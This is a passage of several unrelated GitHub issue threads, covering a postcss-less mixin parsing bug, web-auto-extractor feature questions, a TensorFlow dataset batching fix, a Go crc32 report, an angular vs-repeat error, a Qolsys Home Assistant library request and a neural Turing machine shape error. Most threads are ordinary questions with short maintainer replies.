   { start: { line: 1, column: 1 },
     input: Input { css: '.foo { .mixin(); }', id: '<input css 5>' },
     end: { line: 1, column: 18 } },
  selector: '.foo',
  lastEach: 2,
  indexes: {} }

The nodes array is empty, and node.raws.after contains the source for the mixin declaration, but it should probably be part of the nodes collection as a node type.

@shellscape , I think it's the same problem as in https://github.com/webschik/postcss-less/issues/19

Looks like it might be related, yes.

@shellscape, it's fixed now.


Title, redirects, and user-agent

My team is comparing this package, web-auto-extractor, with node-metainspector and meta-extractor.
TITLE - web-auto-extractor seems to return all the meta tags including og tags, along with the LRMI tags.  Great.  But, it doesn't seem to return some basic HTML elements like 'Title', which is actually important.  Was this intentional?  Perhaps I'm overlooking something.  Perhaps the intent of this package is different than what I'm trying to do.
REDIRECTS - node-metainspector will also follow redirects up to 5 redirects I believe.  This is nice and many sites do actually redirect as their main page changes.  Does web-auto-extractor have the ability to follow redirects?
USER-AGENT - Both other packages allow the user-agent to be set.  Does web-auto-extractor have this ability too?
Thanks.

Sorry for the late reply. I guess you must have already found your favorite package by now. I'll answer your questions anyway.

TITLE - web-auto-extractor seems to return all the meta tags including og tags, along with the LRMI tags. Great. But, it doesn't seem to return some basic HTML elements like 'Title', which is actually important. Was this intentional? Perhaps I'm overlooking something. Perhaps the intent of this package is different than what I'm trying to do.

You are right, capturing title is important. When we decided to write this, our main focus was on its ability to parse Schema.org information.

REDIRECTS - node-metainspector will also follow redirects up to 5 redirects I believe. This is nice and many sites do actually redirect as their main page changes. Does web-auto-extractor have the ability to follow redirects?

USER-AGENT - Both other packages allow the user-agent to be set. Does web-auto-extractor have this ability too?

web-auto-extractor only takes the HTML as input and doesn't do any fetching. It is fully synchronous. The decision on how you'd want to fetch the page is up to you.


Tf keras functional model with tf dataset input

System information

Have I written custom code (as opposed to using a stock example script provided in TensorFlow):
no
OS Platform and Distribution (e.g., Linux Ubuntu 16.04):
Ubuntu 16.04
Mobile device (e.g. iPhone 8, Pixel 2, Samsung Galaxy) if the issue happens on mobile device:
no
TensorFlow installed from (source or binary):
binary
TensorFlow version (use command below):
1.11
Python version:
3.5.3
Bazel version (if compiling from source):
GCC/Compiler version (if compiling from source):
CUDA/cuDNN version:
GPU model and memory:
Exact command to reproduce:

Describe the problem
I'm new to tensorflow keras and dataset. Can anyone help me understand why the following code doesn't work?
import tensorflow as tf
import tensorflow.keras as keras
import numpy as np
from tensorflow.python.data.ops import dataset_ops
from tensorflow.python.data.ops import iterator_ops
from tensorflow.python.keras.utils import multi_gpu_model
from tensorflow.python.keras import backend as K

data = np.random.random((1000,32))
labels = np.random.random((1000,10))
dataset = tf.data.Dataset.from_tensor_slices((data,labels))
print( dataset)
print( dataset.output_types)
print( dataset.output_shapes)
dataset.batch(10)
dataset.repeat(100)

inputs = keras.Input(shape=(32,))  # Returns a placeholder tensor

# A layer instance is callable on a tensor, and returns a tensor.
x = keras.layers.Dense(64, activation='relu')(inputs)
x = keras.layers.Dense(64, activation='relu')(x)
predictions = keras.layers.Dense(10, activation='softmax')(x)

# Instantiate the model given inputs and outputs.
model = keras.Model(inputs=inputs, outputs=predictions)

# The compile step specifies the training configuration.
model.compile(optimizer=tf.train.RMSPropOptimizer(0.001),
          loss='categorical_crossentropy',
          metrics=['accuracy'])

# Trains for 5 epochs
model.fit(dataset, epochs=5, steps_per_epoch=100)

It failed with the following error:
model.fit(x=dataset, y=None, epochs=5, steps_per_epoch=100)
File "/home/wuxinyu/pyEnv/lib/python3.5/site-packages/tensorflow/python/keras/engine/training.py", line 1510, in fit
validation_split=validation_split)
File "/home/wuxinyu/pyEnv/lib/python3.5/site-packages/tensorflow/python/keras/engine/training.py", line 994, in _standardize_user_data
class_weight, batch_size)
File "/home/wuxinyu/pyEnv/lib/python3.5/site-packages/tensorflow/python/keras/engine/training.py", line 1113, in _standardize_weights
exception_prefix='input')
File "/home/wuxinyu/pyEnv/lib/python3.5/site-packages/tensorflow/python/keras/engine/training_utils.py", line 325, in standardize_input_data
'with shape ' + str(data_shape))
ValueError: Error when checking input: expected input_1 to have 2 dimensions, but got array with shape (32,)

According to tf.keras guide, I should be able to directly pass the dataset to model.fit, as this example shows:

Input tf.data datasets

Use the Datasets API to scale to large datasets or multi-device training. Pass a tf.data.Dataset instance to the fit method:

# Instantiates a toy dataset instance:
dataset = tf.data.Dataset.from_tensor_slices((data, labels))
dataset = dataset.batch(32)
dataset = dataset.repeat()

Don't forget to specify steps_per_epoch when calling fit on a dataset.
model.fit(dataset, epochs=10, steps_per_epoch=30)
Here, the fit method uses the steps_per_epoch argument—this is the number of training steps the model runs before it moves to the next epoch. Since the Dataset yields batches of data, this snippet does not require a batch_size.

Datasets can also be used for validation:

dataset = tf.data.Dataset.from_tensor_slices((data, labels))
dataset = dataset.batch(32).repeat()

val_dataset = tf.data.Dataset.from_tensor_slices((val_data, val_labels))
val_dataset = val_dataset.batch(32).repeat()

model.fit(dataset, epochs=10, steps_per_epoch=30,
      validation_data=val_dataset,
      validation_steps=3)

What's the problem with my code, and what's the correct way of doing it?

Hello!
Think you are missing one assignment step in your setup.
It is a subtle issue and has to do with how tf approaches data pipelines.
In your case it has to do with the way transforms are chained together.
For example in these lines of your code:
dataset.batch(10)
dataset.repeat(100)

You call the batch and repeat operations yet never assign them.
This creates a new Dataset object, and then just throws it away.
It also why you see that dimension error since the dataset that is passed to fit() only yields single examples with no batch dimension.
You want to do the same as the examples and assign the new dataset.
There are a couple of options:
dataset = dataset.batch(10)
dataset = dataset.repeat(100)

or
dataset = dataset.batch(10).repeat(100)

Hope this helps!

It works.  Thank you very much.


hash/crc32

What version of Go are you using (go version)?
go1.13.4

$ go version

Does this issue reproduce with the latest release?
yes
What operating system and processor architecture are you using (go env)?
go env Output
$ go env

What did you do?

data := []byte{0x00,0xB0,0x0D,0x00,0x01,0xC1,0x00,0x00,0x00,0x01,0xF0,0x00,}
tb := crc32.MakeTable(0x04C11DB7)
    rs := crc32.Update(0xFFFFFFFF, tb,data)
    println(rs)

//some crc hash algorithms DO NOT need reverse bit but some DO
//but "hash/crc32" in current go source version DOES NOT support both.
//https://crccalc.com/?crc=00B00D0001C100000001F000&method=crc32&datatype=hex&outtype=hex
//it's the right value.
What did you expect to see?
What did you see instead?

@Anveena It's not clear what kind of issue you are reporting here. Please provide a complete-runnable program, and explain in more details what you are doing and why the output you get is different from the one you expect.


Cannot read property '1' of null

Please if you can help me i am always find this error Cannot read property '1' of null and i don't know why

Do you maybe use an object as a right hand side in your ng-repeat (instead of an array)? Otherwise can you create a sample fiddle for me?

Is the vs-repeat attribute on the direct parent of the element with ng-repeat? Check the DOM tree to make sure some extra element hasn't been added in between (e.g. tbody between table and tr).

			{{value}}

div vs-repeat
div ng-repeat="value in ['1','2','3','4']"
{{value}}
/div
/div

i used it like that and still have the same problem

can you make a jsfiddle/plunkr?

@sniperman111 did you resolve this issue? how?

I got the same issue when I use the ng-repeat as below:

It was resolved when I changed the above to below:

Please support index in:

It is not working as @faheemhameed  mentioned.


Finalise changes to user and developer guides for v1.1

Update user and developer guides where changes include:

Include description for help command (UG)
Consistent ordering of commands with respect to command summary table (UG)
Write target user profile, characteristics and value propositions (DG)
Remove user story that is not pertaining to the target user group (DG)
Fix grammer inconsistencies (DG)
Fix bugs in index.md, including changing the links for  Codecov, Actions, User Guide and Developer Guide

LGTM!


Add minimal versions test to CI

We no longer use Travis and we test the minimal Rust version, so closing. Thanks @cramertj.

@Thomasdezeeuw this is for testing minimal versions of dependencies (as specified in the Cargo.toml file), not testing against a minimum version of Rust itself.

Sorry completely missed that.

Done in #1058.


Any interest in extracting out a library and/or creating a regular HA integration?

Would you be interested in extracting / publishing a library to talk to Qolsys?
To me, AppDaemon and MQTT add extra complexity. I'd rather have a more tradition Home Assistant integration.  I assume you feel differently, since you implemented things the way you did.
It looks like your code is structured really well, and that the https://github.com/XaF/qolsysgw/tree/main/apps/qolsysgw/qolsys directory already is effectively a library to talk to a qolsys panel. I was wondering if you'd consider publishing it as a library, so that I could import it and try my hand at creating the Home Assistant integration that I think I would prefer.
If you're on the fence, I could copy/paste it into my own project for now, and if/when I actually produce something, we could revisit this discussion.

Maybe not relying on MQTT could open up a way to get access to the camera? I would support that project.

Maybe not relying on MQTT could open up a way to get access to the camera? I would support that project.

Is the camera exposed over the Control4 https connection that this project uses?
There's a Ring doorbell third party add-on that I also use that also uses mqtt and supports video. I don't actually use that one all that much so I haven't looked into how it works. Anyway, I guess I'm saying I wouldn't expect MQTT to be the limitation on camera support.

Hello!
I'd be open to do that - might not have time for it in the next few weeks but I should be able to do it before the end of the summer.
To answer the question about why it is done with appdaemon right now, one reason is that maintaining the connection to the qolsys panel is not something nice to handle as part as a heavier tool, meaning also that each restart of home assistant will trigger reloading the information from the panel and prevent maintaining a state, while appdaemon allows for this to be entirely separate.
I don't have any intent on blocking people from doing things differently at all, and if I can make things easier by extracting qolsysgw as a library, so be it! It's nicer to have shared code that can take advantage of many people trying to improve it instead of each having their code in their own repo.

I'd love to see this as a proper HA Core integration.


Dimensionality error of NTM

Your code runs fine. However, when I changed the parameters like input_dim, output_dim, and use the 'LSTM' controller, I got an error.
For example, if input_dim=600, output_dim=13, n_slots=100, m_depth=256, batch_size=100, shift_range=3, read_heads=1, write_heads=1
model = model_ntm.gen_model(input_dim=input_dim, output_dim=output_dim, batch_size=batch_size,                                     controller_model=controller, read_heads=read_heads, write_heads=write_heads,                                     activation="sigmoid")
leads to:
`in _call_cpp_shape_fn_impl(op, input_tensors_needed, input_tensors_as_shapes_needed, debug_python_shape_fn, require_shape_fn)
674       missing_shape_fn = True
675     else:
--> 676       raise ValueError(err.message)
677
678   if missing_shape_fn:
ValueError: Dimensions must be equal, but are 620 and 856 for 'neural_turing_machine_9/lstm_7/MatMul' (op: 'MatMul') with input shapes: [100,620], [856,4196].
`

Never mind. I figured the problem is from another reason.
My output data are softmax-like vectors (2D), but the model requires it to be a 3D tensor.